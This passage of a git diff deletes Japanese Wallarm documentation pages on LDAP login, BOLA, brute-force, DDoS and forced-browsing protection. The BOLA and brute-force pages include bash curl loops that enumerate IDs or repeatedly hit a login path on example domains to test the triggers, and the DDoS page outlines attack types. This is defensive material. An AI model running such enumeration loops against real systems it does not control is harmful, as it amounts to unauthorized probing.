Edge](../../installation/security-edge/overview.md)で`.`および`_`を含むヘッダーのサポートを有効化するには、[support@wallarm.com](mailto:support@wallarm.com)までご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/ldap/ldap.md b/docs/latest-ja/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index 0920c746ab..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1,51 +0,0 @@ -# LDAPの使用 - -貴社がすでにLDAPソリューションを使用している場合、LDAP技術を使用して貴社のユーザーをWallarm Consoleに対して認証できます。本記事では、ディレクトリサービスとのLDAP統合を構成する方法を説明します。 - -## 概要 - -貴社の既存のユーザー管理システム（[ディレクトリサービス](https://en.wikipedia.org/wiki/Directory_service#LDAP_implementations)）、たとえば[Microsoft Active Directory (AD)](https://learn.microsoft.com/en-us/entra/architecture/auth-ldap)とシームレスに統合できるよう、WallarmはLDAPプロトコルを介したこれらのシステムとの統合をサポートしています。こうした統合により、次のことが可能です: - -* ディレクトリサービスに保存された認証情報を使用して、Wallarm Consoleへの事前登録なしに貴社のユーザーがWallarm Consoleにログインできるようにします。 -* ディレクトリサービスからWallarm Consoleへユーザーロールと権限を転送します。 -* ディレクトリサービスがサポートするデータ暗号化を使用します。 - -## 要件 - -* LDAP設定は有効化されるまで利用できません。有効化には[Wallarmサポートチーム](mailto:support@wallarm.com)へご連絡ください。 -* 認証はLDAPまたはSSOのいずれか一方のみを使用できます。LDAPを構成するには、SSOを利用している場合はまずSSOを削除してください。 -* ファイアウォールは、WallarmのIPアドレスからの受信リクエストを許可するように構成する必要があります: - - --8<-- "../include/wallarm-cloud-ips.md" - -* LDAP内のユーザーには次の属性が必要です: - - * `displayName` - * `mail` または `email`（カスタマイズ可能です） - -* グループは次を満たす必要があります: - - * `groupOfNames` または `groupOfUniqueNames` であること - * `member` 属性を持つこと - -## 設定 - -[要件](#requirements)が満たされている場合、Wallarm Consoleの**Integrations** → **LDAP** → **LDAP**でLDAP統合を設定できます。 - -![LDAP統合の設定](../../../images/admin-guides/configuration-guides/ldap/configuring-ldap.png) - -LDAP統合では、LDAPグループをWallarmの[ユーザーロール](../../../user-guides/settings/users.md#user-roles)にマッピングする必要があります。少なくとも1つのLDAPグループをマッピングし、必要に応じて追加できます。 - -!!! info "LDAPグループDN" - **LDAP group name**にはグループDNを使用してください。例: - - `cn=wallarm_partner_admin,ou=groups,dc=users,dc=example,dc=com` - -基本オプションとして、次を設定します: - -* **LDAP Server**にLDAPサーバーのURLとポートを設定します。 -* **Base DN**（ベース識別名）を設定します。 -* **Bind DN**およびパスワード: LDAPサーバーにバインド（接続）するために使用する、LDAP階層内のオブジェクトの完全名です。パスワードを伴う必要があります。 -* **Email attribute name**は、ユーザーのメールアドレスを保存するLDAPサーバー上のフィールド名を指定します。 -* 認証タイプは`Simple`に設定されており、変更できません。 -* SSL/TLS暗号化を使用する場合は、対応する証明書と秘密鍵の値を貼り付けて設定します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/protecting-against-bola-trigger.md b/docs/latest-ja/admin-en/configuration-guides/protecting-against-bola-trigger.md deleted file mode 100644 index 52ac6314cf..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/protecting-against-bola-trigger.md +++ /dev/null @@ -1,83 +0,0 @@ -# 手動によるBOLA保護 - -[Broken Object Level Authorization (BOLA)](../../attacks-vulns-list.md#broken-object-level-authorization-bola)のような振る舞いベースの攻撃は、同名の脆弱性を悪用します。この脆弱性により、攻撃者はAPIリクエストで識別子によってオブジェクトにアクセスし、認可メカニズムを回避してそのデータを読み取ったり変更したりできます。 - -## 設定方法 - -ご利用のサブスクリプションプランに応じて、BOLA攻撃からの保護には次のいずれかの設定方法が利用できます: - -* 緩和コントロール（[Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） -* Triggers（[Cloud Native WAAP](../../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） - -## 緩和コントロールベースの保護 - -WallarmのAdvanced API Security[サブスクリプション](../../about-wallarm/subscription-plans.md#core-subscription-plans)は、高度な[列挙攻撃保護](../../api-protection/enumeration-attack-protection.md)を提供し、その中にBOLA攻撃からの保護も含まれます。 - -## トリガーベースの保護 - -### 設定 {#configuring} - -デフォルトでは、WallarmはBOLAタイプ（IDORとも呼ばれます）の脆弱性のみを自動検出しますが、その悪用試行は検出しません。以下の例を参考に、BOLA攻撃からの保護の設定方法を確認してください。 - -たとえば、オンラインストア（ショップ）向けのeコマースプラットフォーム`wmall-example.com`が、ホストしている各ショップの情報を`/shops//`配下に保存しているとします。ホスト済みの全ショップ名の一覧を悪意ある実行者に取得されないようにしたいです。この一覧は、URL内の``を置き換えながら名前を操作する簡単なスクリプトで取得できます。これを防ぐために、ショップをホストするルートに対して一定時間あたりのリクエスト数を制限し、この上限を超えたIPをブロックするように設定できます: - -1. Wallarm Console → **Triggers**を開き、トリガー作成ウィンドウを表示します。 -1. 条件として**BOLA**を選択します。 -1. 閾値を「同一IPから30秒間に30リクエスト」に設定します。 - - これらは例の値です。ご自身のトラフィック向けにトリガーを設定する際は、正当な利用の統計を考慮して閾値を定義してください。 - -1. スクリーンショットのとおりに**URI**フィルターを設定します。次を含みます: - - * パス中の`*`[ワイルドカード](../../user-guides/rules/rules.md#using-wildcards)。これは「任意の1コンポーネント」を意味します。これにより、`wmall-example.com/shops//financial_info`のすべてのアドレスが対象になります。 - - ![BOLAトリガー](../../images/user-guides/triggers/trigger-example7-4.8.png) - -1. このケースでは次は使用しません: - - * **Application**フィルター。ただし、選択したアプリケーションのドメインや特定のエンドポイントを対象とするリクエストにのみ反応するようにトリガーを設定する目的で使用できます。 - * **IP**フィルター。ただし、特定の送信元IPにのみ反応するようにトリガーを設定する目的で使用できます。 - -1. **Denylist IP address** - `Block for 4 hour`のトリガーリアクションを選択します。閾値を超えた後、Wallarmは送信元IPを[Denylist](../../user-guides/ip-lists/overview.md)に追加し、以降のすべてのリクエストをブロックします。 - - 手動BOLA保護によってボットのIPがdenylistに入れられた場合でも、デフォルトでWallarmはそのIPからのブロックされたリクエストに関する統計を収集して[表示](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)します。 - -1. **Mark as BOLA**のトリガーリアクションを選択します。閾値超過後に受信したリクエストはBOLA攻撃としてマークされ、Wallarm Consoleの**Attacks**セクションに表示されます。場合によっては、このリアクションのみを使用して攻撃の情報を得ることもできますが、何もブロックはしません。 -1. トリガーを保存し、[Cloudとノードの同期の完了](../configure-cloud-node-synchronization-en.md)を待ちます（通常は2〜4分です）。 - -### テスト - -!!! info "ご利用環境でのテスト" - ご利用環境で**BOLA**トリガーをテストするには、以下のトリガー設定とリクエストで、ドメインを任意のパブリックドメイン（例: `example.com`）に置き換えます。 - -[設定](#configuring)セクションで説明したトリガーをテストするには: - -1. 保護対象のURIに、設定した閾値を超える数のリクエストを送信します。例えば、`https://wmall-example.com/shops/{shop_id}/financial_info`エンドポイントに`{shop_id}`の値を変えた50件のリクエストを送ります: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://wmall-example.com/shops/$i/financial_info ; done - ``` -1. トリガーのリアクションが**Denylist IP address**の場合は、Wallarm Console → **IP lists** → **Denylist**を開き、送信元IPアドレスがブロックされていることを確認します。 - - トリガーのリアクションが**Graylist IP address**の場合は、Wallarm Consoleの**IP lists** → **Graylist**セクションを確認します。 -1. **Attacks**セクションを開き、リクエストがBOLA攻撃として一覧に表示されていることを確認します。 - - ![UIでのBOLA攻撃](../../images/user-guides/events/bola-attack.png) - - 表示されるリクエスト数は、トリガーの閾値超過後に送信されたリクエスト数に対応します（[振る舞いベースの攻撃検出の詳細](../../attacks-vulns-list.md#attack-types)）。この数が5を超える場合はリクエストのサンプリングが適用され、最初の5件のHitに対してのみ詳細が表示されます（[リクエストサンプリングの詳細](../../user-guides/events/grouping-sampling.md#sampling-of-hits)）。 - - BOLA攻撃を検索するには、検索タグ`bola`を使用できます。すべてのフィルターは[検索の使い方](../../user-guides/search-and-filters/use-search.md)で説明しています。 - -### 要件と制限 - -**要件** - -BOLA攻撃からリソースを保護するには、実クライアントのIPアドレスが必要です。フィルタリングノードがプロキシサーバーやロードバランサーの背後にある場合は、実クライアントのIPアドレスを表示するように[設定](../using-proxy-or-balancer-en.md)します。 - -**制限** - -BOLA攻撃の兆候を探索する際、Wallarmノードは他の攻撃タイプの兆候を含まないHTTPリクエストのみを解析します。 - -## 自動保護 - -他のBOLA保護手段の代替または追加として、[API Discoveryで検出されたエンドポイント向けの自動BOLA保護](protecting-against-bola.md)を設定できます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/protecting-against-bola.md b/docs/latest-ja/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index f52334bc31..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1,41 +0,0 @@ -[variability-in-endpoints-docs]: ../../api-discovery/exploring.md#variability -[changes-in-api-docs]: ../../api-discovery/track-changes.md -[bola-protection-for-endpoints-docs]: ../../api-discovery/bola-protection.md - -# API Discoveryで検出されたエンドポイントの自動BOLA保護  - -この記事では、[API Discovery](../../api-discovery/overview.md)（APID）で検出されたエンドポイント向けの自動BOLA保護について説明します。 - -!!! info "その他のBOLA保護手段" - 代替として、または併用して、[トリガーによるBOLA保護](protecting-against-bola-trigger.md)を構成できます。 - ---8<-- "../include/bola-intro.md" - -## 保護ロジック - ---8<-- "../include/waf/features/bola-mitigation/bola-auto-mitigation-logic.md" - -## 設定 - -!!! info "API Discoveryが必要" - 自動BOLA保護は、**[API Discovery](../../api-discovery/overview.md)**モジュールを使用している場合に利用できます。 - -自動保護を有効化するには、Wallarm Console → **BOLA protection**に移動し、スイッチを有効に切り替えます。 - -![BOLAトリガー](../../images/user-guides/bola-protection/trigger-enabled-state.png) - -その後、次のようにBOLA自動検出テンプレートを編集して、Wallarmのデフォルト動作を微調整できます。 - -* 同一IPからのリクエストがBOLA攻撃として判定されるしきい値を変更します。 -* しきい値超過時のリアクションを変更します。 - - * **Denylist IP** - WallarmはBOLA攻撃元のIPを[denylist](../../user-guides/ip-lists/overview.md)に追加し、これらのIPが生成する全トラフィックをブロックします。 - * **Graylist IP** - WallarmはBOLA攻撃元のIPを[graylist](../../user-guides/ip-lists/overview.md)に追加し、フィルタリングノードがsafe blocking[モード](../../admin-en/configure-wallarm-mode.md)の場合に限り、これらのIPからの悪意のあるリクエストのみをブロックします。 - -![BOLAトリガー](../../images/user-guides/bola-protection/trigger-template.png) - -## 無効化 - -自動BOLA保護を無効化するには、**BOLA protection**セクションでスイッチを無効に切り替えます。 - -API Discoveryのサブスクリプションが期限切れになると、自動BOLA保護は自動的に無効になります。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/latest-ja/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index 047cb52522..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1,95 +0,0 @@ -# ブルートフォース保護 - -ブルートフォース攻撃は、Wallarmが標準では検知しない攻撃タイプの1つです。本ガイドの説明に従って検知を適切に構成する必要があります。 - -[一般的なブルートフォース攻撃](../../attacks-vulns-list.md#brute-force-attack)には、パスワードの総当たり、セッション識別子の総当たり、クレデンシャルスタッフィングが含まれます。これらの攻撃は、限られた時間内に典型的なURIへ、強制的に変更したパラメータ値を用いた多数のリクエストが送信されることを特徴とします。 - -## 構成方法 - -ご利用のサブスクリプションプランに応じて、以下のいずれかのブルートフォース保護の構成方法が利用できます。 - -* 緩和コントロール（[Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） -* Triggers（[Cloud Native WAAP](../../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） - -## 緩和コントロールに基づく保護 - -WallarmのAdvanced API Security[サブスクリプション](../../about-wallarm/subscription-plans.md#core-subscription-plans)は、ブルートフォース攻撃からの保護を含む高度な[列挙攻撃保護](../../api-protection/enumeration-attack-protection.md)を提供します。 - -## トリガーに基づく保護 - -本セクションで説明するブルートフォース保護は、Wallarmが提供する基本的な負荷制御方法の1つです。代替手段として、[レート制限](../../user-guides/rules/rate-limiting.md)を適用できます。レート制限は受信トラフィックを減速させるために使用し、ブルートフォース保護は攻撃者を完全に遮断するために使用します。 - -基本的なブルートフォース保護に加えて、同様の手順で[強制ブラウジング対策](protecting-against-forcedbrowsing.md)も基本的に構成できます。 - -### 構成 {#configuring} - -以下の例を参考に、トリガーでブルートフォース保護を構成する方法を確認します。 - -たとえば、認証エンドポイントを通じて`rent-car`アプリケーションへの認可済みアクセスを得るためにさまざまなパスワードを試行する悪意のある行為（ブルートフォース攻撃）を防ぎたいとします。この保護を提供するために、認証エンドポイントに対して時間当たりのリクエスト数を制限し、この制限を超えたIPをブロックするよう設定できます。 - -1. Wallarm Console→**Triggers**を開き、トリガー作成のウィンドウを開きます。 -1. **Brute force**条件を選択します。 -1. 同一IPから30秒あたり30リクエストのしきい値を設定します。 - - これらはあくまで例の値です。ご自身のトラフィック向けにトリガーを構成する際は、正当な利用状況の統計を考慮してしきい値を決めてください。 - - !!! info "許可されるしきい値の時間間隔" - しきい値の時間間隔を調整する場合、選択した単位に応じて値は30秒または10分の倍数である必要があります。 - -1. **Application**フィルターを`rent-car`に設定します（アプリケーションはWallarmに[登録済み](../../user-guides/settings/applications.md)である必要があります）。 -1. スクリーンショットのとおりに**URI**フィルターを設定します。以下を含みます。 - - * パス内の`**`[ワイルドカード](../../user-guides/rules/rules.md#using-wildcards)は「任意個のコンポーネント」を意味します - * リクエスト部分の`.*login*`[正規表現](../../user-guides/rules/rules.md#condition-type-regex)は「エンドポイントに`login`を含む」を意味します - - これらを組み合わせると、例えば次のようなURLに対応します。 - `https://rent-car-example.com/users/login` - `https://rentappc-example.com/usrs/us/p-login/sq` - （トリガー全体が機能するためには、ドメインが選択したアプリケーションに[関連付けられている](../../user-guides/settings/applications.md#automatic-application-identification)必要がある点に注意してください） - - ![ブルートフォーストリガーの例](../../images/user-guides/triggers/trigger-example6-4.8.png) - - * この例で必要なパターンを構成する以外に、特定のURIを入力することも、URIを指定せずにトリガーを任意のエンドポイントで機能させることもできます。 - * 入れ子のURIを使用する場合は、[トリガー処理の優先順位](../../user-guides/triggers/triggers.md#trigger-processing-priorities)を考慮します。 - -1. このケースでは**IP**フィルターは使用しませんが、特定のIPからのリクエストにのみ反応するようにトリガーを設定する目的で使用できることに留意してください。 -1. トリガーの反応として**Denylist IP address** - `Block for 1 hour`を選択します。しきい値を超えると、Wallarmは発信元IPを[denylist](../../user-guides/ip-lists/overview.md)に入れ、以後のすべてのリクエストをブロックします。 - - なお、ブルートフォース保護によってボットのIPがdenylistに入れられた場合でも、デフォルトでは、WallarmはそのIPから発生したブロック済みリクエストに関する統計を収集し、[表示](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)します。 - -1. トリガーの反応として**Mark as brute force**を選択します。しきい値超過後に受信したリクエストはブルートフォース攻撃としてマークされ、Wallarm Consoleの**Attacks**セクションに表示されます。場合によっては、この反応のみを使用して攻撃に関する情報を取得し、何もブロックしない運用も可能です。 -1. トリガーを保存し、[Cloudとノードの同期完了](../configure-cloud-node-synchronization-en.md)を待ちます（通常は2〜4分かかります）。 - -ブルートフォース保護用に複数のトリガーを構成できます。 - -### テスト - -!!! info "ご利用環境でのテスト" - ご利用環境で**Brute force**トリガーをテストするには、以下のトリガー設定およびリクエスト内のドメインを任意のパブリックドメイン（例：`example.com`）に置き換えます。ご自身の[アプリケーション](../../user-guides/settings/applications.md)を設定し、そのドメインをアプリケーションにリンクします。 - -[構成](#configuring)セクションで説明したトリガーをテストするには、次を実行します。 - -1. `rent-car-example.com`ドメインが、Wallarmに登録済みの`rent-car`アプリケーションの一部として[識別](../../user-guides/settings/applications.md#automatic-application-identification)されていることを確認します。 -1. このドメインの保護対象エンドポイントに、設定したしきい値を超える数のリクエストを送信します。例えば、`rent-car-example.com/users/login`に50回リクエストを送ります。 - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://rent-car-example.com/users/login ; done - ``` -1. Wallarm Console→**IP lists**→**Denylist**を開き、送信元IPアドレスがブロックされていることを確認します。 -1. **Attacks**セクションを開き、リクエストがブルートフォース攻撃として一覧に表示されていることを確認します。 - - ![インターフェースでのブルートフォース攻撃](../../images/user-guides/events/brute-force-attack.png) - - 表示されるリクエスト数は、トリガーのしきい値超過後に送信されたリクエスト数に対応します（[行動ベース攻撃の検知の詳細](../../attacks-vulns-list.md#attack-types)）。この数が5を超える場合はリクエストのサンプリングが適用され、最初の5件のhitsに対してのみリクエスト詳細が表示されます（[リクエストのサンプリングの詳細](../../user-guides/events/grouping-sampling.md#sampling-of-hits)）。 - - ブルートフォース攻撃を検索するには、`brute`フィルターを使用できます。すべてのフィルターは[検索の使用方法の手順](../../user-guides/search-and-filters/use-search.md)で説明しています。 - -### 要件と制限 - -**要件** - -リソースをブルートフォース攻撃から保護するには、実クライアントのIPアドレスが必要です。フィルタリングノードがプロキシサーバーやロードバランサーの背後に配置されている場合は、実クライアントのIPアドレスを表示するように[構成](../using-proxy-or-balancer-en.md)します。 - -**制限事項** - -ブルートフォース攻撃の兆候を検出する際、Wallarmノードは、他の攻撃タイプの兆候を含まないHTTPリクエストのみを解析します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/protecting-against-ddos.md b/docs/latest-ja/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index d3f203ff72..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1,61 +0,0 @@ -# DDoS保護 - -DDoS（分散型サービス拒否）攻撃は、攻撃者が複数の発信源からのトラフィックでシステムを過負荷にして、ウェブサイトやオンラインサービスを利用不能にしようとするタイプのサイバー攻撃です。本ドキュメントでは、DDoS対策の推奨事項と、Wallarmでリソースを保護する方法を説明します。 - -DDoS攻撃は、しばしばボットネットと呼ばれる侵害されたコンピュータシステムのネットワークから実行されます。攻撃者はこれらのシステムを使ってターゲットに大量のトラフィックを送信し、サーバーに過負荷をかけて正当なリクエストに応答できなくします。DDoS攻撃は、ウェブサイト、オンラインゲーム、さらにはソーシャルメディアプラットフォームを含む、あらゆる種類のオンラインサービスを標的にすることができます。 - -攻撃者がDDoS攻撃を仕掛けるために使える手法は多数あり、使用する方法やツールは大きく異なる場合があります。比較的単純な攻撃では、サーバーに大量の接続要求を送るなどの低レベル手法が用いられる一方で、より高度な攻撃では、IPアドレスのなりすましやネットワークインフラの脆弱性の悪用などの複雑な戦術が使われます。 - -## DDoS攻撃の分類 - -攻撃者がウェブサイトやオンラインサービスの可用性を妨害するために用いるDDoS攻撃にはいくつかの種類があります。以下が代表的なタイプです。 - -| OSI layer / Attack Type | [ボリューム型およびアンプリフィケーション攻撃](#volum-amplif-attacks) | [プロトコル悪用とロジックボム](#proto-attacks-logicbombs) | -| ---- | ----------- | -------- | -| L3/L4 |
      • UDPフラッド：この攻撃は、ターゲットに大量のUDPパケットを送信して利用可能な帯域幅を消費し、サービスを妨害します。
      • ICMPフラッド（Smurf攻撃）：ICMPを用いてターゲットに大量のエコーリクエストパケット（一般に"ping"リクエストとして知られています）を送信し、帯域幅を消費してサービスを妨害します。
      |
      • SYNフラッド：TCP接続の確立方法を悪用します。攻撃者はターゲットに大量のSYNパケットを送信しますが、接続を確立するための3ウェイハンドシェイクを完了しません。これによりターゲットサーバーのリソースが、ハンドシェイク完了を待つ間に占有されます。
      • Ping of Death：処理可能な最大サイズを超える過大なパケットをターゲットに送信してクラッシュを狙います。これらのパケットを処理しようとすることで、ターゲットがクラッシュするか利用不能になる可能性があります。
      | -| L7 |
      • HTTPフラッド：正規に見える多数のGETまたはPOSTリクエストをサーバーやWebアプリケーションに送ってターゲットを過負荷にします。この種の攻撃は、マルウェアに感染し攻撃者が制御する侵害済みコンピュータのネットワークであるボットネットを用いて実行されることがよくあります。
      • アンプリフィケーション攻撃：増幅技術を利用して、ターゲットへ送られるトラフィック量を増幅します。例えば、攻撃者がサーバーに小さなリクエストを送り、サーバーがそれに対してはるかに大きなレスポンスを返すことで、ターゲットに送信されるトラフィック量を実質的に増やします。アンプリフィケーション攻撃には、NTPアンプリフィケーション、DNSアンプリフィケーションなど、複数の手法があります。
      |
      • Slowloris：この攻撃は必要な帯域幅が少なく、1台のコンピュータだけでも実行できる点が特徴です。複数の同時接続をWebサーバーに対して開始し、長時間維持します。攻撃者は部分的なリクエストを送信し、ときどきHTTPヘッダーを補ってリクエストが完了状態に達するのを防ぎます。
      -| API/App specific (L7+) |
      • Heavy Request：特別に細工されたリクエストを用いて、サーバーに大量のデータを返させます。このタイプの攻撃は、アプリケーションやAPIの事前調査が必要で、その脆弱性の悪用に基づくため、標的型攻撃でよく使われます。
      |
      • ロジックボム：大量のデータを含み、要求処理中の脆弱性を突いてターゲットシステムの大きなリソース消費を引き起こすよう設計された特別なリクエストを用います。ロジックボムには、XMLボム、JSONボムなどの種類があります。
      | - -**ボリューム型およびアンプリフィケーション攻撃**は、大量のトラフィックでターゲットを圧倒しようとします。帯域幅または対象サーバーやネットワークの計算資源を飽和させ、正当なリクエストに応答できなくすることが目的です。 - -**プロトコル悪用とロジックボム**は、サービスやネットワークの通信方法の脆弱性を悪用するDDoS攻撃です。特定のプロトコルを悪用したり、ターゲットが処理しにくい不正形式のパケットを送信したりして、通常のトラフィックフローを妨害します。 - -## DDoS攻撃の緩和 - -DDoS攻撃は多様な形態を取り、異なるOSIレイヤーを標的にするため、単一の対策だけでは効果的ではありません。DDoS攻撃に対して包括的な保護を提供するには、複数の手段を組み合わせて使用することが重要です。 - -* インターネットサービスプロバイダー（ISP）やクラウドサービスプロバイダー（CSP）は、通常、L3-L4のDDoS攻撃に対する第一の防御線を提供します。深刻度の高いL3-L4のDDoS攻撃には、例えば次のような追加の緩和ツールが必要です。 - - 1Gbps以上のレートでトラフィックを生成するDDoS攻撃には、トラフィックスクラビング用の専用DDoS保護サービスが必要になる場合があります。トラフィックスクラビングは、トラフィックを第三者サービスに経路変更し、悪意のあるトラフィックをすべてフィルタリングして、正当なリクエストのみをサービスに転送する手法です。L3-L4のDDoS攻撃に対する追加の保護策として、NGFWのようなソリューションを使用することもできます。 -* L7のDDoS攻撃（いわゆる"アプリケーション層"攻撃）は、L3-L4の攻撃よりも標的志向で高度です。通常、攻撃対象となるアプリケーションの特性を狙うため、正規トラフィックとの判別が難しい場合があります。L7のDDoS攻撃から保護するには、アプリケーション層でトラフィックを解析するWAAPまたは専用のAnti-DDoSソリューションを使用してください。ピーク負荷を処理できるようにAPI GatewayやWEBサーバーを適切に構成することも推奨します。 - -保護手段を選定する際は、以下の要素に基づいて組織のニーズとリソースを慎重に評価してください。 - -* 攻撃の種類 -* 攻撃の規模 -* WebアプリケーションやAPIの複雑さ、コスト - -また、DDoS攻撃を可能な限り早期に特定して、適時に対抗策を講じられるよう、対応計画を準備しておく必要があります。 - -## WallarmによるL7 DDoS保護 - -Wallarmは、L7のDDoS脅威に対して幅広い保護手段を提供します。 - -* [API Abuse Prevention](../../api-abuse-prevention/overview.md)。API Abuse Prevention機能を有効化して、さまざまな種類の悪意あるボットを特定して停止します。 -* [Brute force trigger](protecting-against-bruteforce.md)により、パスワードなどのパラメータ値を総当たりで試行する大量リクエストを防ぎます。 -* [Forced browsing trigger](protecting-against-bruteforce.md)により、ディレクトリやファイルなどWebアプリケーションの隠しリソースを検出しようとする悪意のある試行を防ぎます。 -* [denylistsとgraylists](../../user-guides/ip-lists/overview.md)を使用したジオロケーションフィルタリング。攻撃元となっている特定地域からのアプリケーションやAPIへのアクセスを禁止します。 -* [denylistsとgraylists](../../user-guides/ip-lists/overview.md)を使用して信頼できない発信元をブロックします。標的型攻撃から保護するため、Tor、Proxy、VPNなど、場所の秘匿やジオフィルターの回避を可能にする不審な発信元をブロックすると有効な場合があります。 -* [ロジック（データ）ボム](#proto-attacks-logicbombs)の検知。WallarmはZipボムやXMLボムを含む悪意のあるリクエストを自動的に検出してブロックします。 -* [Rate limiting](../../user-guides/rules/rate-limiting.md)の設定。特定のAPIスコープに対して確立できる最大接続数を指定します。定義した上限を超えるリクエストはWallarmが拒否します。 - -NGINXベースのWallarmノードを使用している場合は、L7 DDoSに対するセキュリティを強化するため、次のようにNGINXを構成することを推奨します。 - -* キャッシュ。一般的なリクエストへのレスポンスをキャッシュするよう設定し、DDoS攻撃で生成されるトラフィックの一部を吸収して、WebアプリケーションやAPIに到達しないようにします。 -* レート制限。受信リクエストに対するレート制限ルールを作成して、ターゲットのWebアプリケーションやAPIに送信できるトラフィック量を制限します。 -* 接続数の制限。単一のクライアントIPアドレスが開くことのできる接続数に、実ユーザーに適切な値で上限を設定することで、リソースの過剰使用を防げます。 -* 遅い接続を閉じる。十分な頻度でデータを書き込まない接続は、長時間開いたままとなり、サーバーの新規接続の受け入れ能力を阻害する可能性があるため、閉じるようにします。 - -[NGINXの設定例とその他の推奨事項を参照してください](https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/) - -Kong API Gatewayを使用している場合も、[API Gatewayを保護するためのベストプラクティス](https://konghq.com/learning-center/api-gateway/secure-api-gateway)に従うことを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/protecting-against-forcedbrowsing.md b/docs/latest-ja/admin-en/configuration-guides/protecting-against-forcedbrowsing.md deleted file mode 100644 index 2bcac025a7..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/protecting-against-forcedbrowsing.md +++ /dev/null @@ -1,93 +0,0 @@ -# 強制ブラウジングからの保護 - -強制ブラウジング攻撃はWallarmが標準では検知しない攻撃タイプの1つであり、本ガイドのとおりに検知を適切に設定する必要があります。 - -[強制ブラウジング](../../attacks-vulns-list.md#forced-browsing)攻撃は、限られた時間内に異なるURIへのリクエストに対して多数の404レスポンスコードが返されることが特徴です。 - -この攻撃の目的は、隠されたリソース（例：アプリケーションコンポーネントに関する情報を含むディレクトリやファイル）を列挙してアクセスすることです。強制ブラウジング攻撃により、攻撃者はアプリケーションに関する情報を収集し、その情報を悪用して他の攻撃タイプを実行できる場合があります。 - -## 設定方法 - -ご利用のサブスクリプションプランに応じて、以下のいずれかの総当たり対策の設定方法が利用できます。 - -* 緩和コントロール（[Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） -* Triggers（[Cloud Native WAAP](../../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） - -## 緩和コントロールに基づく保護 - -WallarmのAdvanced API Security[サブスクリプション](../../about-wallarm/subscription-plans.md#core-subscription-plans)は、強制ブラウジング攻撃からの保護を含む高度な[列挙攻撃対策](../../api-protection/enumeration-attack-protection.md)を提供します。 - -## トリガーに基づく保護 - -### 設定 - -以下の例を参考に、強制ブラウジング対策の設定方法を確認します。 - -あなたがオンラインアプリケーション`book-sale`の所有者だとします。`book-sale-example.com`ドメイン配下で隠しディレクトリやファイル名を試す（強制ブラウジング）悪意のある行為者を防ぎたいとします。この保護を提供するため、あなたのドメインについて、一定時間内の404レスポンス数に上限を設け、この上限を超えたIPをブロックするように設定できます。 - -この保護を提供するには: - -1. Wallarm Console → **Triggers**を開き、トリガー作成のウィンドウを開きます。 -1. **Forced browsing**条件を選択します。 -1. 同一の送信元IPからのリクエストに対して返される404レスポンスコードの件数のしきい値を、30秒あたり30に設定します。 - - これらは例の値です。自身のトラフィックに合わせてトリガーを設定する際は、正当な利用状況の統計を考慮してしきい値を決めてください。 - - !!! info "設定可能なしきい値の時間間隔" - しきい値の時間間隔を調整する場合、選択した単位に応じて、値は30秒または10分の倍数である必要があります。 - -1. スクリーンショットのとおりに**URI**フィルターを設定します。内容は以下のとおりです。 - - * パスに「任意の数のコンポーネント」を意味する`**`[ワイルドカード](../../user-guides/rules/rules.md#using-wildcards)を使用します。これにより`book-sale-example.com`配下のすべてのアドレスを対象にできます。 - - ![強制ブラウジング用トリガーの例](../../images/user-guides/triggers/trigger-example5-4.8.png) - - * この例で必要なパターンの設定に加えて、特定のURI（たとえばリソースファイルのディレクトリのURI）を入力することもできます。あるいはURIを指定しないことで、任意のエンドポイントでトリガーを動作させることもできます。 - * ネストしたURIを使用する場合は、[トリガーの処理優先順位](../../user-guides/triggers/triggers.md#trigger-processing-priorities)を考慮してください。 - -1. このケースでは次の項目は使用しません: - - * **Application**フィルター。ただし、選択したアプリケーションのドメインや特定のエンドポイントを対象とするリクエストにのみ反応するトリガーを設定するために使用できます。 - * **IP**フィルター。ただし、特定のIPから発生するリクエストにのみ反応するトリガーを設定するために使用できます。 - -1. トリガーの反応として**Denylist IP address** - `Block for 4 hour`を選択します。しきい値を超えると、Wallarmは送信元IPを[denylist](../../user-guides/ip-lists/overview.md)に追加し、それ以降のリクエストをすべてブロックします。 - - なお、強制ブラウジング対策によってボットのIPがdenylistに入れられた場合でも、デフォルトで、Wallarmは当該IPから発生したブロック済みリクエストに関する統計を収集し、[表示します](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)。 - -1. トリガーの反応として**Mark as forced browsing**を選択します。しきい値超過後に受信したリクエストは強制ブラウジング攻撃としてマークされ、Wallarm Consoleの**Attacks**セクションに表示されます。ブロックは行わず攻撃の情報だけを得たい場合、この反応のみを利用することもできます。 -1. トリガーを保存し、[Cloudとノードの同期の完了](../configure-cloud-node-synchronization-en.md)を待ちます（通常2〜4分かかります）。 - -強制ブラウジング対策のために複数のトリガーを設定できます。 - -### テスト - -!!! info "ご利用の環境でのテスト" 